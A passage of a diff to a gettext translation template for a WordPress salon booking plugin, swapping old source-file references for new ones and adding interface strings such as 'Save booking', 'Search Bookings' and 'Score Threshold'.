System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:445\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1105\n+msgid \"Save\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FCancelBookingLink.php:28, src\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:21, src\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:22\n-msgid \"Invalid booking ID.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:124\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:124\n+msgid \"Save and enable the cron job\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FCancelBookingLink.php:61, src\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:16, src\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:13\n-msgid \"Invalid security token. Please refresh the page and try again.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:534\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:534\n+msgid \"Save as new customer\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInit.php:586, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:586, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:586, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:574, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:586, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:586\n-msgid \"Weekly\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:66\n+msgid \"Save booking\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:51\n-msgid \"Codecanyon Product ID saved\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:285\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:283\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:285\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:283\n+msgid \"Save category error.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:68, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:68, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:68\n-msgid \"Codecanyon Product ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:623\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:636\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:564\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:577\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:623\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:636\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:564\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:577\n+msgid \"Save customer error.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:75, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:75\n-msgid \"Enter your Codecanyon Product ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:976\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1070\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:976\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1070\n+msgid \"Save new customer error.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInitScripts.php:157, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:157, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:157, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:157, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:157, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:157\n-msgid \"checking availability\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:446\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1231\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:328\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:496\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:513\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1424\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:347\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:450\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:306\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:446\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1231\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:328\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:496\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:513\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1424\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:347\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:450\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:306\n+msgid \"Save post error.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInitScripts.php:159, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:159, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:159\n-msgid \"Do you really want to cancel?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:185\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:185\n+msgid \"Save settings and send a test SMS\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInitScripts.php:164, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:164, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:164\n-msgid \"fill this field\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:61\n+msgid \"Save this customer\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInitScripts.php:166, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:166, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:166\n-msgid \"This slot is already booked. Please choose a different time.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:67\n+msgid \"Saved\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInitScripts.php:209, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:209, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:209, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:209, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:209\n-msgid \"Profile updated successfully.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:160\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:150\n+msgid \"Saving...\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:67\n+msgid \"Score Threshold\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:104\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:104\n+msgid \"Scroll down to load past reservations\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInitScripts.php:325, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:325, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:317, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:325\n-msgid \"break\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:255\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:255\n+msgid \"Search Assistants\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInitScripts.php:350, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:350, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:342, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:350\n-msgid \"Could be not available\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:679\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:679\n+msgid \"Search Bookings\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by decimal separator\n-#: src\u002FSLN\u002FAction\u002FInitScripts.php:515, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:515, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:515, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:504, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:515, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:515\n-msgid \"Please enter in monetary decimal (%s) format without thousand separators and currency 